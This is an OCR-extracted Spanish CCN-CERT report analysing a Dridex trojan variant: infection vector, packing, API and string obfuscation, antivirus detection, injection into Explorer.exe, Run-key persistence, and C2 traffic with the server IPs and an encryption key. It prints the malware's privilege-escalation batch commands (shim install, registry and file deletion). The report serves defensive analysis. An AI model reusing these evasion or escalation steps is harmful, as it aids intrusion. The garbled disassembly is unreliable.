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CENTRO CRIPTOLOGICO NAGIONAL

LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantia implicita que se pueda encontrar
relacionada. En ningin caso, el Centro Criptoldgico Nacional puede ser considerado
responsable del dano directo, indirecto, fortuito o extraordinario derivado de la utilizacién de la
informacidn y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacién escrita del Centro Criptoldgico Nacional,
bajo las sanciones establecidas en las leyes, la reproduccidn parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico,
y la distribucion de ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes
de Seguridad de la Informacién del Centro Criptolégico Nacional, CCN. Este servicio se
cre6 en el afno 2006 como CERT Gubernamental Nacional espanol y sus funciones
quedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia,
el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador del
Esguema Nacional de Seguridad, modificado por el RD 951/2015, de 23 de octubre.

De acuerdo a todas ellas, el CCN-CERT fiene responsabilidad en ciberataques
sobre sistemas clasificados y sobre sistemas de las Administraciones Piblicas y de
empresas y organizaciones de interés estratégico para el pais. Su misién, por tanto, es
contribuir a la mejora de la ciberseguridad espanola, siendo el centro de alerta y
respuesta nacional que coopere y ayude a responder de forma rdpida y eficiente a los
ciberataques y a afrontar de forma activa las ciberamenazas.
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2. RESUMEN EJECUTIVO

El presente documento recoge el andlisis de una variante del cédigo daiino
“Dridex”.

La finalidad del mismo es lanzar en el sistema infectado la ejecucion de un
proceso mediante el cual podrd realizar acciones daninas sobre dicho sistema.

Para ello se valdrd de un servidor de mando y control (C&C) desde el cual
recibird los datos necesarios para tomar el control del equipo. Los datos analizados
muestran indicios de una botnet a la cual se agregard el equipo infectado.

Se ha podido comprobar que las campanas relacionadas con este cdédigo
danino siguen aun activas, ademds de su vector inicial de infeccidon. En concreto,
“Dridex” se distribuye generalmente haciendo uso de documentos de ‘“Microsoft
Office” que ejecutan “"macros” y cuyo objetivo es descargar el cédigo danino en
cuestion.

Para obtener mds informacién sobre las técnicas de distribucidén de este cddigo
se recomienda consultar la seccidon de Referencias. [1]

En la siguiente imagen se puede observar la existencia de mds de una botnet: [2]

ID 120
10,556 Bots

/ 34 Bots

ID 125
9,572 Bots

1D 121
61 Bots

ID 122
30 Bots

llustracion 1. Distintas “botnets” usadas por Dridex [2]
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Existen estadisticas sobre los sistemas operativos mds afectados por las
campanas de Dridex: [2]

WinServer2003
13 Bots WIN 7
19,239 Bots
WIN 8
2358 Bots T o T T L
os Lot
AFFECTED @ e VISTA

b5 ] 126 Bots
WinServer2012 BY DIDREX J ?

13 Bots V/—A

WinServer2008
WIN XP |20 Bots
512 Bots

llustracion 2. Sistemas operativos afectados [2]

También se pueden ver los paises mds afectados por campanas anteriores: [3]

Country %

@ Australia 19.91%
® UK 15.24%
® US 14.08%
® |taly 6.21%

® Japan 4.83%
@® India 4.55%
® Taiwan 4.20%
® Spain 3.48%
® France 2.89%
® China 2.79%

® Others 21.82%

llustracion 3. Paises afectados por Dridex en 2014 [3]

Consultado VirusTotal, 44 de 56 motores antivirus detectan el cdédigo analizado
como danfino, suponiendo un riego medio/bajo si se dispone de alguna solucion
antivirus.
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3. CARACTERISTICAS

A continuacidon se muestran algunas propiedades estdticas del fichero
analizado.

La firma del cdédigo danino es la siguiente:

MD5 62e4f7cfab29ef63439e88ff176cc6c8

SHAT | 51066826e4201e526f6e9cac440f120f97ca0436

llustracidén 4. Informacidn estatica del binario

El compilador detectado en este caso ha sido: Microsoft Visual C++.

No se ha detectado ningun tipo de empaguetado conocido, el binario
analizado utiliza uno propio. Este fipo de empaquetados se crean con el fin de

SIN CLASIFICAR



SIN CLASIFICAR

coN-cert

CCN-CERTID-24/15 Informe de Cédigo Daiino “Trojan:Win32/Dridex”

dificultar el andlisis asi como para poder generar distintas muestras a partir del mismo
cddigo; de esta forma consiguen ser mds discretos y retrasar las detecciones de las
casas anfivirus.

.text:00401000 _text
.text:004810080
.text:0084810688
.text:00481080
.text:08481080

segment para public ‘CODE® use32

assume cs:_text

;org LB19886h

assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 5 dup{BCCh)

db

.text:004010065

8E9h, 56h, 2

.text: 00401008 dd GE1E90000h, OE?000004h, 1E4Ch, 347E9h, 4A82E900h, 6DE90008h
.text:00401008 dd BE9888865h, 4%A38h, 1D53E%h, 7LEEY9G6h, PE90088h, BE90068O811h
.text:004810068 dd 1D4%h, BD4FE%h, BD1AE988h, BESE90000h, BE20088BCH, SEGBh
.text:00401008 dd 123BE%h, 986E900h, BE1E900686h, PE9BOBB37h, 6FCh, 2977E9h

.text:90401008
.text:00481670

242E980h, 4DE9OABGH
4, 2 dup(@)

text:004p1673 ;

IELLIALE ; DATA XREF: .text:80486226l0 |
LAerbIBOUBIO7E [
text:oaoue1678 jmp loc_ 481538
Ltext-o@@4E1B7D ;
.text:ee48167D jmp sub_485B88
LdextiBBsE1BE82 [ o
.text:o0401082 jmp sub_4842B0
Ltextoeesetes? [ -
.text:00481887 db BE%h
.text:o04810688 dd 274h, SBFE%9h, 297AE986h, SE92008086h, BE9BBOO13h, 826h

.text: 00401088
.text:00L401088
.text: 00401088
.text: 00401088
.text:00LB10F8
tevt-ABLO1AFA -

16DBE?h, 1FGGE98AKh, Z1E?80808h, BE?ABAAASh, 3A65Ch, 1DFE?h
282E9068h, 7DEY00GBh, BE90O00881h, BDSBh, BAARZESh, 2LEE908h
19E98088h, BE9@0883Eh, 2F14h, 1FFE?h, 14FAE96868h, BASE90088h
BEABAAASh, 518h, 46BE9h, 11EGE988h

2 dup({f)

llustracion 5. Cédigo de desempaquetado propio

En el cdédigo daiino analizado no se ha descubierto ninguna técnica de
deteccién de mdquinas virtuales, comUnmente utilizado para evitar el andlisis
automatizado de la muestra, ni la utilizacién de técnicas para dificultar el andlisis del
codigo.

ver la informacién del binario que se extrae y

En la siguiente imagen se puede
ejecuta en memoria:

llustracién 6. Informacidn estdtica del binario extraido
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Los hashes correspondientes al archivo extraido y ejecutado desde memoria
son:

MDS5 | 3f97d9823a1134bb512aeé631cb11c840

SHAT | cff158e2da5322d5de829a2a3adf016f40e8e33e

4. PROCEDIMIENTO DE INFECCION

4.1 Vectores de infeccidon

Los vectores de infeccién varian segun la campana. En la muestra analizada el
codigo danino llega al usuario mediante un correo electrénico que incita al mismo a
ejecutar deferminados adjuntos. Estos adjuntos suelen ser documentos de Microsoft
Office que contienen cdédigo danino embebido en macros dentro del documento y
que tras su apertura realizan la descarga del instalador para el cddigo daiino.

4.2 Interacciones con el sistema afectado

Una vez ejecutado, el cédigo danino procederd a realizar el proceso de
instalacion en el sistema. Durante la instalacidon se descargard un nuevo archivo
binario con el cédigo danino final que se hard persistente en el sistema.

La muestra analizada emplea varias técnicas para evitar la comprension del
cddigo vy dificultar su andlisis. Como se puede observar en la ilustracién 5, sélo se realiza
la importacion de dos funciones de la APl de Windows, el resto de llamadas a la API se
realizan mediante una funcién encargada de obtener la APl a ejecutar.

En la siguiente imagen se puede ver como utiliza esta técnica en el inicio del
programa:

89 15 C4 BB FD BA mov dword_FDSBCh4, edx

E® 37 D6 88 @8 call GetApi

FF DB call eax ; GetCommandLineW
8B FBO mov esi, eax

B8 CC 080 88 8@ mou eax, BCCh ; a

E& 29 D6 A8 8@ call GetApi

68 CA 8B FD @88 push offset nParametros

56 push esi

FF D8 call eax ; CommandLineToArgul!
A2 C8 8B FD 88 mou off_FDSBCH, eax

83 3D CA 8B FD B8 83 cmp nParametros, 3

75 15 jnz short pocos_parametros

8B 48 A8 mov eax, [eax+8]

3B 44 24 14 cmp eax, [esp+8B8h+nApi]

74 Bc jz short pocos_parametros

llustracion 7. Ocultacion de llamadas API

Ademds, dispone de varias funciones encargadas de obtener las cadenas de
texto usadas por el programa.

L1 push ebp

83 EC 38 sub esp, 38h

BA BC 08 B8 A0 nov edx, OCh

8D 44 24 20 lea eax, [esp+38h+var_18]

ES 685 90 00 ae call ObtenString : "Software/Hicrosoft/uindous,
68 82 08 80 BO push 20000002h
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6A BE push BEh
cA pop edx
8D 44 24 1C lea eax, [esp+158h+var_134]
E8 1B 98 B8 88 call ObtenString1 ; "<cfg net="%d" build="8"><
BA 61 90 8@ ag mou edx, 1 i b
8D 45 Dy lea eax, [ebp+a] H-
E8 45 4D FF FF call ObtenstringUnicode ; "$%4$Secure UAP"
8B 45 D4y mov eax, [ebp+a]

llustracién 8. Ocultaciéon de cadenas de texto

Una caracteristica interesante detectada en la muestra es la capacidad de
infectar tanto a sistemas de 32 bits como de 64 bits, sin necesidad de utilizar distintos
binarios en base a la arquitectura a infectar.

Esta funcionalidad la consigue con la implementacion de una funcidon macro
que permite ejecutar cddigo de 64 bits en una aplicacién de 32 bits siempre que el
sistema operativo sea de 64 bits.

Mediante esta técnica el coddigo de 32 bits es capaz de realizar llamadas al API
de 64 bits permitiendo realizar inyecciones de cédigo en procesos de 64 bits.

A continuacién se muestra una imagen tanto de la macro de entrada a 64 bits
como de la salida:

B3 E4 FO and esp, BFFFFFFF@h

ha 33 | push 33h

E8 80 @8 6O 08 call $+5

B3 84 24 05 add [esp+@F8h+var_F8], &
CB retf

llustracion 9. Macro entrada modo x64

ES 08 B8 88 A8 call 445

C7 44 24 B4 23 090 68 88 mow [esp+184h+var_188], 23h
83 84 24 @D add [esp+184h+var_184], 8Dh
CB retf

llustracién 10. Macro salida modo x64

Esta es una potente técnica para dificultar los andlisis ya que hace que el
depurador no pueda seguir el cédigo que se ejecuta cuando pasa a modo de 64 bits.

También se puede observar un comportamiento especifico si se detectan ciertas
soluciones antivirus como es AVG:

5 25 push 25h

A pop edx

3D 44 24 2C lea eax, [esp+d4h+var_38]

8 EB 87 60 88 call ObtenString1 5 'SYSTEM/CurrentControlSet/services/Avg/Systemlalues’
58 02 86 68 88 push 800888020

50 B8 push a

F 74 24 34 push [esp+6Ch+var_38]

3> 4C 24 4B lea ecx, [esp+7Bh+uar_30]

8 43 8B 668 68 call CambiaSeparador_AbreCreaClaveRegistro

3B 44 24 2C nov eax. lesp+iaih+uvar 381

llustracién 11. Deteccidon de AVG
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Si el cddigo danino detecta la presencia de esta solucidn antivirus, procederd a
realizar un proceso de infeccién especifico en el cual creard una copia de si mismo en
el directorio:

%LOCALAPPDATA%\<randomname>\<randomname>.exe"

NOTA: el nombre seleccionado siempre serd de 8 caracteres alfanuméricos y serd
distinto tanto para el nombre de directorio como para el del ejecutable.

Se comprueba la existencia en el sistema de las actualizaciones KB3034344,
KB3013455, KB3048097 y KB3045645. De existir, evita ejecutarse a si mismo y pasa
directamente a conectar con el servidor de mando y control (C&C).

Si no encuentra estas actualizaciones del sistema procede a elevar privilegios
mediante un archivo de tipo “bat” y otfro de tipo “sdf".

start /B C:\Users\ADMINI~1\AppData\Local\HH1ySsgR\ea03obys exe C:\muestra2idumped.dmp 3

sdbinst fq fu "C:\Users\Administrador\AppData\LocallLow\UmIXbiQG.sdb™

reg delete "HKLMASOFTWAREAMicrosoftiWindows NT\CurrentVersion\AppCompatFlagsiCustomiiscsicli.exe™ /f

reg delete "HKLMASOFTWARE\MicrosoftiWindows NT\CurrentVersionvAppCompatFlagsiInstalledSDB\{F48aBc57-7cu8-461c-9957-ab255ddc986e}™ /f
del C:\Windows\AppPatch\Custom\{F4B8aBc57-7c48-461c-9957-ab255ddc986e} .sdb

del %LOCALAPPDATAZLow\UNIXbiQG .sdb

del %LOCALAPPDATA%Low\UMIXbiQG.bat & exit

llustracion 12. Contenido del archivo .bat

Mediante la ejecucion de este fichero "bat” y usando el fichero “sdf”, se
infroduce informacidén en el sistema para que confie en el cédigo danino de forma
que se ejecute sin mostrar avisos de seguridad. Ademds, se encargard de desinstalar
claves de registro encargadas de la seguridad y eliminard cualquier rastro de estos
ficheros.

El proceso de infeccidon comienza por obtener la direccién IP del C&C, que estd
incrustada en el propio cddigo dafino:

8D 8C 24 64 61 68 66 lea ecx, [esp+158h+var_A4C]
ES FE 82 08 88 call InicializaInternetOpen
ES8 91 6C 68 88 call ObtenDireccionIP C c

8B F@ mou esi, eax

BA 98 68 FD B8 mov ed®, offset aBot ; "bot”™
8D 84 24 E4 08 080 A0 lea eax, [esp+i5Bh+var 6C]
6A 81 push 1

Lo pop BCX

ES8 4B 6n B8 88 call Envia

BA 94 68 FD @8 mouy edx, offset aList ; "list"
8D 84 24 F4 GO B8 68 lea eax, [esp+158h+var_5C]
33 C9 xor ecx, PCX

E8 2D 6hn B8 88 call Envia

llustracién 13. Inicio de la infeccidon

Lo primero que hace es obtener la lista de direcciones a las que contactar.

Una vez obtiene la lista de direcciones, procede a recopilar informacién del
sistema a infectar: aplicaciones instaladas, resolucion de pantalla, parches de
seguridad instalados en el sistema y una completa telemetria del proceso de

instalacion del propio cédigo malicioso:
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BD 44 24 7@ 1ea eax, [esp+1DCh+var_16C]
EE 5F B6 00 6O call Obtenstring1
BB 54 24 70 mou edx, [esp+1DCh+var_16C] ;
; "<loader><get_module unique="%s" botnet="%d" system=""%d"
BD 4h 24 58 lea eax, [esp+1DCh+var_18C]
B9 58 DC mowv [eax-24h], edxz
33 D2 BT edx, edx
E® 21 93 FF FF call ObtenInformacionSistema_HASH_PC_HAME
B3 C4 1C add esp, 1Ch
FF 77 B4 push dword ptr [edi+4] ; ptr
FF 74 24 BC push [esp+iCuh+ptr] ; ptr
53 push ebx ; ptr
BE 54 24 18 mowv edx, [esp+1CCh+var_1B4]
FF 32 push dword ptr [edx] ; ptr
FF 74 24 4y push [esp+iDBh+uar 18C] ; ptr
FF 74 24 24 push [esp+1D4h+var_1EO] ; ptr
BD 5C 24 18 lea ebxz, [esp+1D8h+hKey]
53 push ebx s ptr
E8 C6 BE FF FF call wunsprintfa ; '<loader><{get_module unique=""WIN-144UHNTGA7U_88a7F690e3b

llustracion 14. Recoleccion de datos del sistema

Con los datos obtenidos genera una cadena de texto con el siguiente formato:

'<Toader>

<get_moduTeunique="WIN-144VHNTGA7V_88a7f690e3b3d3f1a7348a75c66d9851" botnet="220"
system="64584" name="bot" bit="64"/>

<soft><! [CDATA[VMware Tool1s(10.0.0.2977863) ;Microsoft visual C++ 2008 Redistributable -
x64 9.0.30729.6161 (9.0.30729.6161);Starting path: 3]]></soft>

</loader>"',0

Estos datos son cifrados antes de ser enviados.

En la siguiente imagen se muestra la llamada a la rutina de cifrado y las claves
usadas para realizar la operacion:

33 C9 Xor ecx, BCX

89 L8 F8 mow [eax-8], ecx
89 48 FC nov [eax-u], ecx
E8 5D 25 00 88 call ObtenString1 5 'TjuZLjXhJsmMsUQuUBMCQdHpZEVRYFEF ;FHHLEu4B9kf8HEDSAJGAZzCOUCKFhiyIn®
8D 44 24 7C lea eax, [esp+OF4h+uar_78]
6A 3B push -
5e push eax
8D 48 FB lea ecx, [eax-8]
E8 AR 18 B0 88 call BuscaYCopia
8B 44 24 74 nov eax, [esp+BF4h+var_80]
85 cH test eax, eax
74 OF jz short loc_FCASED
33 D2 Kor edx, edx
8B 4L 24 78 nouv ecx, [esp+BF4h+var 7C]
E8 E4 2n 088 88 call _Rt1FillHemory
8B L4 24 74 mow eax, [esp+BF4h+uvar_88]
loc_FCASED: ; CODE XREF: Envia+CFTj
E8 12 2B 68 88 call Freelemory??
33 DB xor ebx, ebx
8D 8C 24 B4 00 DO 00 lea ecx, [esp+OFBh+uar_6C]
89 59 Fo nov [ecx-16h], ebx
89 59 Fu nov [ecx-0Ch], ebx
8D 59 A4C lea ebx, [ecx+4Ch]
8B C3 mow eax, ebhx
8B 51 F8 mov edx, [ecx-8] 5 "TjUZLjxhJsmMsUQUBHCQdHpZEVXYFEF"
ES BA 63 68 88 call CodificaBuffer
53 push ebx

llustracién 15. Cifrado de los datos recopilados

Si se consigue establecer la conexion y realizar el envio al servidor de mando vy
control, se descargard el binario necesario para completar la infeccién. Este binario
serd inyectado en el proceso “Explorer.exe”.

El binario que se recibe serd especifico para la plataforma a infectar, lo que
indica la existencia de un binario para sistemas de 32 bits y ofro para sistemas de 64
bits.

Para que el cdédigo inyectado pueda interactuar con el sistema comprometido,
antes de realizar las inyecciones de cddigo, generard una entrada en el registro de

SIN CLASIFICAR



CCN-CERT ID-24/15

SIN CLASIFICAR

Informe de Cédigo Daiino “Trojan:Win32/Dridex”

coN-cert

Windows en la cual indicard el nombre del fichero binario que ha realizado el proceso
de instalacién del cddigo danino.

Esta clave serd usada posteriormente para eliminar el instalador del cddigo
danino una vez tome el control el cdédigo inyectado, ddndose por concluida la

;  "<cfg net="228" build="8"><{startup><{/startup><del>C:\muestra2\dunped.dmp{/del></cfg>",8

instalacion:

lea edx, [esp+14Ch+ptr]
push edx ; ptr
call wunsprintfa

moy [esp+158h+var_124], ebp
mov [esp+15Bh+var_128], ebp

llustracion 16. Datos para la inyeccién de coédigo

Esta informacién es introducida en la siguiente clave de registro:

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/CLSID/{0
D195DD8-2B8C-AE17-7E54-COFD3BCOFEAB}/ShellFolder/0

Si se visualizan los datos de esta clave se verd que se encuentran cifrados:

@ Registry Editor [===]
File Edit View Favorites Help
a Explorer || Mame Type Data
-"_*""’T_”‘E_" et [a8] (Default) REG_SZ (value not set)
pods ApplicatienDestinations 4]0 REG_BINARY 23 24 36 b3 bS fd 40 3b de d6 43 20 53 <2
b~ Ly AutoplayHandlers
> -l BitBucket
- CabinetState
i Edit Binary Val
- . CD Burning Lol s @
- [y CIDCpen Walue pame:
> -l CID5ave 0
a. )| CLSID
- F Value data:
(14C750D4-0503-254F-E3F4 SEfEEE
e 0000 [28 &4 36 B3 BS FD 40 3B (H6°py@;
"y helfrolder 3 0008 DE D& 43 20 53 C2 1B 45 DB{C Si E
{20D04FEQ-3AEA-1069-A2D 0010 61 AE 3C BO &8 BL 15 6D a®<* t.m
: Defaulticon 0018 DD C8 02 66 02 92 4F 52 VE.£. .OR
S ) = 0020 64 F3 6C FE E6 E7 44 3D duliecD=
1 {55031 A4T-3FT2-4447-80C 0028 97 81 01 2C 5F 84 SE 4B ...._."K
.|| {645FF040-5081-101B-GF08- 0030 24 B4 6A 88 FB E& 40 3C *.j. o=@
: L (1D ATED 0038 97 86 10 20 3F 84 4E 4& .. 7. HJ
dy {871C5380-4240-1069-A2E 0040 64 A2 34 FA F3 Fh 49 73 dedadils
- || {F02CLAOD-BE21-4350-88B 0048 CC 90 14 7E 5D DC 14 44 I. . ~J0.D
.. ]) ComDlg32 0050 72 A0 &E ra
» . |, Discardable
» - | FileExts
i~ Ly HideDesktopleons [ QK ][ Cancsl ]
i LU LowRegistry

s - 0 MenuCrder

L1

< |

| 3

< |

m

| 3

Computer\HKEY_CURREMT_USERSoftware' Microsoft\Windows\ CurrentVersion\Explorer\ CLSID' {14 C750D4-9593- 254 F-E3F4-711263E03B27 1\ ShellFolder

llustracién 17. Datos cifrados en el registro

A continuacién, procederd a generar un mutex a partir de los datos obtenidos

del sistema:
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83
8B
8B
53
ES
8D
ES
BS
ES
8B
8D
ES
53
6n
59
FF

.11
E8
68
8B
8D
58
a3
8D
53
8D
8D
E&
68
68
L]
8D
E&
8B
33

EC
E9
5C

DD
4C
Ly
8E
1E
Fa
4C
AF

D6

14

24

aa
24
a1
aa
g

2y
o1

28

ae
a4
an
ae
an

an
aa
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sub
mov
mov
push
call
lea
call
mov
call
mov
lea
call
push
push
push
call

esp, 14h
ebp, ecx
ebx, [esp+24h+1pProcHame]
; 'Global\84ad8%e38850a62cc62beB19a88dF%e?" ,8

ebx

busca_slash
ecx, [esp+2hh+var_28]
sub_FC5748
eax, BEh

Getapi

esi, eax
ecx, [esp+Zhh+var_2@]
sub_FC57CA

ebx
8

eax
esi

HE- |

coN-cert

; "Global\B4ad89%e388508a62cchHi2beB19a88dFoe?’ 0

; CreateHutexn

llustracion 18. Creacién de MUTEX

Se iniciard una enumeracién de todos los procesos en ejecuciéon del sistema, en
busca del proceso “Explorer.exe”.

Una vez localizado dicho proceso, se reservard memoria dentro de él utilizando
la llamada a la APl “VirtualAllocEx”, posteriormente se redlizardn las modificaciones
necesarias para que el cédigo danino descargado anteriormente desde el C&C se
ejecute en el contexto del "Explorer.exe™:

4L
F1
F8
2D
by

2D
B3

48
AC
C5
9C
28

L H
B1
4c
ca

24
a1
a9
78
24

iC
F3

Fu
1D
a1
a9
ia

24
a1
24

28
aa
aa
8B
2C

8B
a9

F8
aa
a8
FD

28
aa
1C

aa
aa
FD

FD
aa

a9

lea
call
push
moy
lea
push
add
lea
push
lea
lea
call
push
push
push
lea
call
moy
Xor

—_———

ec®, |esp+YAsLh+var_ ALY ]
_WriteProcessHemory

9F8h

ebp, dword FDEB78

eax, [esp+Bll]

eax

ebp, dword_FDE8BYC

esi, [ebx+9F8h]

ebx

ecx, [eax-8Ch]

ebp, [ebp+ebx+9F&h]
_WriteProcesstemory

99Ch

offset unk_FD7028

esi

ecx, [esp+BA7Ch+var AS4]
_WriteProcessHemory

ecx, [esp+BA7Bh+var_AS4]
eax, eax

llustracion 19. Inyecciones de cédigo realizadas

En la imagen se observa coémo se realizan tres inyecciones de cddigo. La primera
de ellas corresponde al cédigo danino descargado. Las ofras dos inyecciones son
para insertar el cédigo que se encargard de iniciar el proceso de carga del cédigo
danino haciendo uso de la API “CreateRomoteThread”.

Como se muestra en la siguiente imagen, el programa espera a la finalizacién
del hilo lanzado:
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52 push edx
51 push BCX
FF B4 24 BC 680 86 00 push [esp+BDEh+var_1C]
53 push ebx
51 push ecx
51 push ecx
FF D@ call eax ; CreateThread
8B F8 mou edi, eax
8% FF test edi, edi
4 BF jz short FalloCreandoThread
E& BA A0 AA AAQ mav eax, #Ah ;A
E8 4D 4D 00 88 call Getapi
6A FF push BFFFFFFFFh
57 push edi
FF DB call eax ; WaitForSingleObject

llustracién 20. Ejecucién del hilo que lanza el cédigo inyectado

Una vez lanzado el hilo, el proceso de instalacién serd finalizado por la inyeccidn
de cédigo infroducida en el “Explorer.exe”.

En la muestra analizada no se recibe respuesta desde el servidor de mando y
control, por lo que no se ha podido realizar un andlisis completo de la parte final de la
instalacion.

5. PERSISTENCIA EN EL SISTEMA

Para garantizar su persistencia establece una inyeccidon de coédigo en el
“Explorer.exe”. Cuando detecta el apagado del sistema readliza las acciones
necesarias para asegurarse su ejecucion en el siguiente inicio del sistema.

Cuando se detecta el apagado del sistema, el cédigo danino procederd a
crear un archivo temporal con el contenido del binario descargado desde el C&C.
Este binario es una libreria o dll. A continuacion generard una entrada en el registro
indicando la ejecucién de dicha libreria mediante el ejecutable “rundll32.exe”

La enfrada de registro que utiliza para asegurar su persistencia es:

\Software\Microsoft\Windows\CurrentVersion\Run\

NOTA: la clave serd creada en HKLM o en HKLU segun los permisos que tenga el
usuario.

6. CONEXIONES DE RED

Hay que destacar que el cédigo danino soporta tanto los protocolos HTTP como
HTTPS, y para realizar los envios utiliza el método POST sin especificar ningun User-Agent.

Todas las comunicaciones hacia el servidor de mando y control estdn cifradas,
independientemente de si se usa el protocolo HTTP o HTTPS.

El cédigo dainino analizado contiene una lista de direcciones IP con las que
contactard para obtener el binario necesario y completar el proceso de instalacion.
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Estas direcciones son usadas de forma secuencial, de manera que pasard a usar
la siguiente direccién IP de la lista si no consigue contactar con la actual. Este proceso
se repite ciclicamente hasta que consiga contactar con alguna.

A continuacion se muestra la lista de IP utilizadas por este cédigo danino:

<config botnet="220">
<server_list>
91.239.232.145:8448'
91.239.232.9:8448'
31.131.251.33:743"
134.0.115.157:1443"
</server_list>

</config>

Todas las conexiones son readlizadas mediante el APl de Windows (Winlnet). A
continuacién se muestran todas las APl usadas para establecer conexion y
enviar/recibir datos del servidor de mando y control:

InternetOpenA

InfernetConnectW

HttpOpenRequestW

InternetQueryOptionW

InfernetSetOptionW

HitpSendRequestW

HttpQuerylnfoW

InfernetReadFile

La conexion es inicializada con “InternetOpenA” e “InternetConnectW". Durante
esta inicializacion no se define un User-Agent especifico por lo que este campo de la
peticiéon quedard vacio.

La informacién es enviada mediante una peticién de tipo POST usando como
ruta “/" seguida de los datos en bruto a enviar.

El cdédigo analizado sélo realiza un envio de datos que corresponde a
informacion extraida del sistema como: arquitectura, programas instalados y un
identificativo Unico para distinguir esta infeccion.

Este envio es realizado mediante la APl de Windows “HttpSendRequestW*

A continuacién se puede ver el formato de las cadenas de texto que el cdédigo

danino envia al C&C antes de ser codificado:
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'<Toader>

<get_moduTleunique="WIN-144VHNTGA7V_88a7f690e3b3d3f1la7348a75c66d9851"
botnet="220" system="64584" name="bot" bit="64"/>

<soft><! [CDATA[VMware Tool1s(10.0.0.2977863) ;Microsoft visual C++ 2008
Redistributable - x64 9.0.30729.6161 (9.0.30729.6161);Starting path: 3]]></soft>

</loader>"',0

NOTA: para analizar el tréfico enviado se ha creado un servidor HTTP y capturado el
tréfico para ser analizado.

En la siguiente captura de pantalla se puede observar una peticion con sus
datos cifrados, enviados desde un equipo infectado al servidor de mando y confrol:

Capturing from netl [Wireshark 1.12.7 (Git Rev Unknown from unknown)]

File Edit View Ge Capture Analyze Statistics Telephony Teols Internals Help
©©® 4 W4 o Q¢ » 232 |EHE gl E®E% 6
Filter: ‘tcp.stream eqd | - ‘ Expression.. Clear Guardar

476 269.6541490¢ 192.168.8.70 WS=4 SACK PERM=1
Follow TCP Stream (tcp.stream eq 4) - B x

478 269.6543600( 192.168.0.78

Stream Content:
479 269.6545996¢ 192.168.0.70

POST / HTTP/1.1
480 269.6546016( 192.168.0.10 Host: 192.168.0.100:8080 B
Content-Length: 324
Cache-Control: no-cache
Ml .1.n.D XL "]
H .15, L

Frame 476: 66 bytes on wire (5||-.Hz...H.. ....7...=<.
Ethernet II, Src: Vmware_54:34
Internet Protocol Versioen 4, S
Transmission Control Protocol,

554 300.1828090( 192.
5! 828120¢ 192.

8

0860 00 6c 29 34 7d 96 80 Bc 29
0010 80 34 Bc cc 40 00 80 A6 6b
0020 00 64 c@ 94 1f 90 bb 98 3f
0030 20 00 f2 of 0O 00 02 @4 05

0840 04 82
| 192.168.0.70:49300 —+ 192.168.0.100:8080 (415 bytes) - |
| Buscar " Guardar como " Imprimir  |(_) ASCIl () EBCDIC () HexDump () CArrays (e) Raw
‘ Ayuda ‘ | Filter Qut This Stream ‘ ‘ Cerrar |
@ E neti: <live capture in progress= F TACKETS: U7S  DISpTayens I 1L 57 Profile: Default

£ Menu @ @ 3 Pantala 1 [
llustracién 21. Captura de trafico

Una vez se ha realizado este envio, el cddigo danino deberd recibir el binario
necesario para concluir la infeccidn en el sistema afectado.

Si no se recibe comunicacidn se entra en un bucle reintentando la conexidon
cada 5 minutos.

NOTA: para redlizar la captura de tréfico mostrada se forzé al cddigo a que
conectara utilizando el protocolo HTTP; en situaciones reales utilizard HTTPS.
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6.1 INFORMACION DEL ATACANTE

6.1.1 91.239.232.145

Los dominios asociados con la siguiente direccion IP son:

diamond-hands.com

maximym.com wiacgroup.com
x-ats.com yacademic.com rossinvest.eu
ikiev.info ikiev.net ikiev.org
f-h.ua ikiev.ua mail.diamond-hands.com
mail.jmi-fx.com mail.maximym.com WWW.maximym.com

mail.wiacgroup.com

mail.x-ats.com mail.yacademic.com

mail.ikiev.info

mail.ikiev.net mail.ikiev.org

bzs.com.ua gulliver.com.ua ikiev.com.ua
p-media.com.ua sunplazza.com.ua vstudia.com.ua
mail.f-h.ua mail.ikiev.ua

p-host.kiev.ua

life-style.org.ua

tourpalata.org.ua ns2.p-media.com.ua

ns1.p-host.kiev.ua

ns1.life-style.org.ua

6.1.1.1

En el momento

GEOLOCALIZACION

del andlisis, la direccién IP 91.239.232.145 se encuentra ubicada

en Ucrania, como se muestra en la siguiente imagen:

5
{ Mapa Satelite

Kypcx BopoHex
UapiiFia Kursk Voronezh
Dhelglhw Crapbiit Ockon
Lublin Staryot)sknl
0 - . — T an
& Country. _|Ukraine x Benropog
life-style.org.ua Belgarad
Kurouup |HOSINaME o 00 s ’
Zhytemyr | - : - )’(-E‘[)MB
B roabvr o 17 91.239.232.145 Kharkiy
o
L\élv 7 ~ rmenaBa 2
Ye), fack Paoltava
BiHHnUR Chagkasy 0
Vinnytsia - Kpemenyyk
@ y K p alNa Kremenchuk
a
U k = TNyranc
raine JHinponeTpoBcbk Lihans
Yepuisui Dneprogelrovsk o
Chernivtsi il
meT : OHELbK
] (pro B Soncpyrun Doneisk P
[+] *H
fa SPOJLZILA hakhty
o
i (Tarawpor Hosouepkacci pBanraac
Mukonais W::it%%?‘?ﬁg%nmg =] “Novocherkassk V010090
AN Mykolaiv Q Poctoe-Ha-JoHy
uj-| Dapnca Opeca Rostov-on-Don &
Odessa o Ry
L+l Xepcou N |
Kherson
A a.l) +
rmlgoara Homal‘lla L\
Romania

/el SRR

L~ Knaruanan

CTARNNNAR

llustracién 22. Geolocalizacién de la direccién IP "91.239.232.145"

Country Country Code
ua ua
Ukraine LA
Ukraine LA

Region City Latitude Longitude ISP

30 kiav 50440048 30527180 |rivate joint stock ...
nat found nat fourd 50450001 30523300 HostPro
Dnipropetrovs'ka Obl... Meliorativnaoye 48619949 35401871 Hostpro Ltd

llustracién 23. Informacién de la direccién IP “91.239.232.145"

6.1.2 91.239.232.9

Los dominios asociados con la siguiente direccion IP son:
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_hearthstoneandroid.com  meprogcom  droid-opp.net
gagface.net girlsphoto.org worldoftanksblitz.org
|

6.1.2.1 GEOLOCALIZACION

En el momento del andlisis, la direcciéon IP 91.239.232.9 se encuentra ubicada en
